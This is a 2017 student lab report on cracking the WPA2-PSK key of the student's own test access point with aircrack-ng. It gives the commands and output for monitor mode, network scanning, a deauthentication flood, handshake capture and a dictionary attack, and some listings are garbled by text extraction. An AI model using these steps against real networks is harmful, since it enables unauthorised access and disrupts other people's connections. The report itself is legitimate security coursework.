Peter the Great St.Petersburg Polytechnic University
Institute of Computer Science & Technologys
Department of Computer Systems & Software Engineering

Laboratory №4 Report

Discipline: Information Security

Theme: 802.11 WEP and WPA-PSK keys cracking program AirCrack

Made by student of group. 13541/1 _____ Smirnov M.I.
(signature)

Lecturer _____ Bogach N.V.
(signature)

"__" _____2017 г.

Saint-Petersburg
2017

Contents

802.11 WEP and WPA-PSK keys cracking program AirCrack

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.

1.1 Objectives

After completing this module you will be able to:

1. Explore WiFi nets with a set of tools for auditing wireless networks;
2. Capture and analyse WiFi traffic;
3. Perform password-cracking attacks on WEP/WPA/WPA2 PSK.

1.2 Task

1.2.1 Study

1. The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng;
2. Start a monitor mode on your wireless card;
3. Launch airodump, study its output and file format.

1.2.2 Exercises

Crack a WPA2 PSK WiFi net (see REFERENCE)

1. Start monitor using airmon-ng;
2. Start capture and analyse WiFi traffic airdump-ng;
3. Use aireplay-ng to deauthenticate the wireless client (if needed);
4. Perform a dictionary attack.

OPTIONAL Crack WEP (see REFERENCE)

Work Progress

2.1 Study

2.1.1 The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng

- aircrack-ng - complete suite of tools to assess WiFi network security;
  - – Monitoring: Packet capture and export of data to text files for further processing by third party tools.
  - – Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
  - – Testing: Checking WiFi cards and driver capabilities (capture and injection).
  - – Cracking: WEP and WPA PSK (WPA 1 and 2).
- airodump-ng - packet capturing of raw 802.11 frames;
- aireplay-ng - used to inject frames(for example send DeAuth frames);
- airmon-ng - enabling monitor mode on wireless interfaces.

2.1.2 Start a monitor mode on your wireless card

2.1.3 Launch airodump, study its output and file format

Done in Exercises section.

2.2 Exercises

In this work experiments were conducted with a personal wifi access point.

ESSID - PLAZMA
PASSWORD - myTestPassword

Also, the work was done on a real linux system - kali linux 2017.3 release.

2.2.1 Start monitor using airmon-ng

This mode allows the adapter to see all the wireless traffic (or rather not discard its own packets), which is physically accessible to it.

Entering the airmon-ng command without parameters will show the interfaces status.

```
root@DESKTOP-E155IRT:~# airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0           rt2800pci       Ralink corp. RT5392 PCIe Wireless Network Adapter
```

Listing 2.1: interfaces status

Now turn on the monitor of interface wlan0.

```
root@DESKTOP-E155IRT:~#  airmon-ng  start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  605 NetworkManager
  644 wpa_supplicant
  712 dhclient

PHY     Interface       Driver          Chipset

phy0    wlan0           rt2800pci       Ralink corp. RT5392 PCIe Wireless Network Adapter

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)
```

Listing 2.2: turn on interface

airmon-ng found 3 other processes that use that interface, but after this command airmon-ng detach them and switch wlan0 into monitor mode. Let's check statuses again.

```
root@DESKTOP-E155IRT:~/Desktop/logFOlder# airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0mon        rt2800pci       Ralink corp. RT5392 PCIe Wireless Network Adapter
```

Listing 2.3: interfaces status

Interface name changed into wlan0mon.

2.2.2 Start capture and analyse WiFi traffic airdump-ng

The airodump-ng command allows capture all physically available traffic and recognize networks, channels, access points and clients.

```
root@DESKTOP-E155IRT:~/Desktop/logFOlder# airodump-ng wlan0mon

 CH  8 ][ Elapsed: 48 s ][ 2017-12-02 09:10

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 2C:56:DC:41:FC:30  57       34        5    0   6  54e  WPA2 CCMP   PSK  PLAZMA
 00:21:91:F6:30:2F  61       58        0    0  12  54.  WPA2 CCMP   PSK  anna
 96:44:44:F8:29:E7  63       35        0    0   1  54e  WPA2 CCMP   PSK  DIRECT-AP [TV][
    ,!LG]47LA691V-ZA
 E8:37:7A:90:F9:FE  68       20        0    0   4  54e  WPA2 CCMP   PSK  Eldar_WIFI
 4E:5D:4E:9A:01:78  69       37        0    0  11  54e  WPA2 CCMP   PSK
    ,!ZyXEL_KEENETIC_GIGA_9A0178
 C8:D3:A3:E8:27:13  72        3        0    0   6  54e  WPA2 CCMP   PSK  Mikluha

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 2C:56:DC:41:FC:30  34:F6:4B:36:FD:3
 F36                                     0    1       0         1
 2C:56:DC:41:FC:30  00:04:4B:2C:E4:9C   40    0 24       0         5  PLAZMA
 2C:56:DC:41:FC:30  00:24:2B:EE:03:2B   56   54e  1       0         3
 00:21:91:F6:30:2F  94:44:44:F8:A9:E7   54    0    1     283       152
```

Listing 2.4: starting airodump-ng

All visible access points are shown at the top of the listing, and the connected clients are at the bottom. My target AP is PLAZMA with bssid 2C:56:DC:41:FC:30.

Now we can run airodump-ng with the tracking parameters of this particular network.

```
root@DESKTOP E155IRT : ~/ Desktop / t e s t # airodump ng c 6 b s s i d 2C : 5 6 : DC : 4 1 : FC : 3 0 w ,!
WPAcrack wlan0mon i g n o r e n e g a t i v e one
```

Listing 2.5: starting getting handshake

- -c - wireless network channel;
- –bssid - MAC address of the access point;
- -w - the prefix of the file to which the handshake will be recorded;
- wlan0mon - network Interface;
- –ignore-negative-one - removes 'fixed channel: -1' messages.

Adter executing this command, we see interface where can see target AP, AP clients and hand-shake info.

```
 CH   6 ][ Elapsed :    1 min ][      2017  12  02    09:25 ]

 BSSID                  PWR RXQ     Beacons        #Data , #/ s  CH   MB    ENC  CIPHER AUTH ESSID

 2C : 5 6 : DC : 4 1 : FC : 3 0   61 100             985         978         0    6    54e   WPA2 CCMP   PSK  PLAZMA

 BSSID                  STATION                 PWR    Rate       Lost       Frames   Probe

 2C : 5 6 : DC : 4 1 : FC : 3 0    3 4 : F6 : 4 B : 3 6 : FD : 3 F  40        0e  1e         0         1001
 2C : 5 6 : DC : 4 1 : FC : 3 0   0 0 : 0 4 : 4 B : 2 C : E4 : 9 C   42    1e  24         0           68

 2C : 5 6 : DC : 4 1 : FC : 3 0   0 0 : 2 4 : 2 B : EE : 0 3 : 2 B   60    1e  1          0           34
```

Listing 2.6: traffic collection

Now need to wait while airodump-ng getting a handshake.

2.2.3 Use aireplay-ng to deauthenticate the wireless client

To capture an encrypted password, we must have client authentication on the access point. If the user has already passed authentication, then we need to deauthenticate it and then the system will automatically re-authenticate, and at that moment we can intercept the required package.

To perform this trick we need to send client a message that he is no longer connected to the access point.

```
root@DESKTOP E155IRT : ~# a i r e p l a y ng  deauth 100  a 2C : 5 6 : DC : 4 1 : FC : 3 0 wlan0mon  i g n o r e
    ,!n e g a t i v e one
09:19:29  Waiting  for  beacon  frame  (BSSID:  0 0 : 2 1 : 9 1 : F6 : 3 0 : 2 F ) on channel 12
NB : t h i s a t t a c k i s  more  e f f e c t i v e when t a r g e t i n g
a connected  w i r e l e s s  c l i e n t ( c <c l i e n t ' s  mac>).
09:19:29  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:30  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:30  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:31  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:31  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:32  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:32  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:32  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:33  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:33  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:34  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
09:19:34  Sending  DeAuth  t o  broadcastBSSID :        [2 C : 5 6 : DC : 4 1 : FC : 3 0]
```

```
09:19:35  Sending  DeAuth  to  broadcast  BSSID :  [2C:56:DC:41:FC:30]
09:19:35  Sending  DeAuth  to  broadcast  BSSID :  [2C:56:DC:41:FC:30]
...
```

Listing 2.7: sending DeAuth messages

–deauth 100 means how many DeAuth need to send.

At this time, in the traffic collection window, the message WPA handshake appears in the upper right corner. the right package is caught

```
 CH  6 ][ Elapsed :  1 min ][  2017 12 02  09:25 ][ WPA handshake : 2C:56:DC:41:FC:30

 BSSID                PWR RXQ  Beacons    #Data ,  #/s  CH  MB   ENC  CIPHER AUTH ESSID

 2C:56:DC:41:FC:30    61 100       985       978      0   6  54e  WPA2 CCMP   PSK  PLAZMA

 BSSID                STATION            PWR   Rate    Lost    Frames  Probe

 2C:56:DC:41:FC:30    34:F6:4B:36:FD:3F  40    0e  1e     0      1001
 2C:56:DC:41:FC:30    00:04:4B:2C:E4:9C  42    1e  24     0        68
 2C:56:DC:41:FC:30    00:24:2B:EE:03:2B  60    1e  1      0        34
```

Listing 2.8: traffic collection

The disabled user successfully reconnected, and was received handshake, that was saved into file named WPAcrack-01.cap.

2.2.4 Perform a dictionary attack

Now we can run aircrack-ng with a database of common passwords. before experiments, a real WIDI password was added to the password database.

```
root@DESKTOP E155IRT:~/Desktop/test# aircrack-ng  WPAcrack-01.cap -w /usr/share/dict/
  ,!cracklib-small

                                Aircrack-ng 1.2 rc4

    [00:00:05]  23440/29318 keys tested (4450.49 k/s)

    Time left:  1 second                                          79.95%

                        KEY FOUND! [ myTestPassword ]


    Master Key     : 83 41 A0 BD FE AA D7 B1 13 AF 34 05 37 D5 0F F6
                     AC DC 35 71 05 62 0F 68 C3 F1 F0 8E 1C 30 82 4A

    Transient Key  : 33 87 5C 60 B5 47 92 3E 1A 1A AD E2 33 67 99 B6
                     CE 4C 65 D6 18 11 7B A4 11 BF FC 61 76 AC A8 2E
                     F8 85 A5 1E BB F1 D5 AC B0 EF BC AD 76 7D 8F EB
                     48 19 CB EA 58 75 BB 42 BE B8 CF 22 0E 0D BD 32

    EAPOL HMAC     : ED 91 19 D1 78 77 DD CC 19 CD C8 7F 77 1B 99 0A
```

Listing 2.9: traffic collection

As expected aircrack found my password.

Conclusion

Ensuring the security of a wireless network is difficult. At the moment, wep2 networks are the most common, to be safe they require fairly long and complex (not dictionary) passwords.

But even this may not help, because there is a WPS vulnerability (which is often enabled by default in new routers). With WPS vulnerability, i was also able to crack the password of the router, but that’s another story altogether.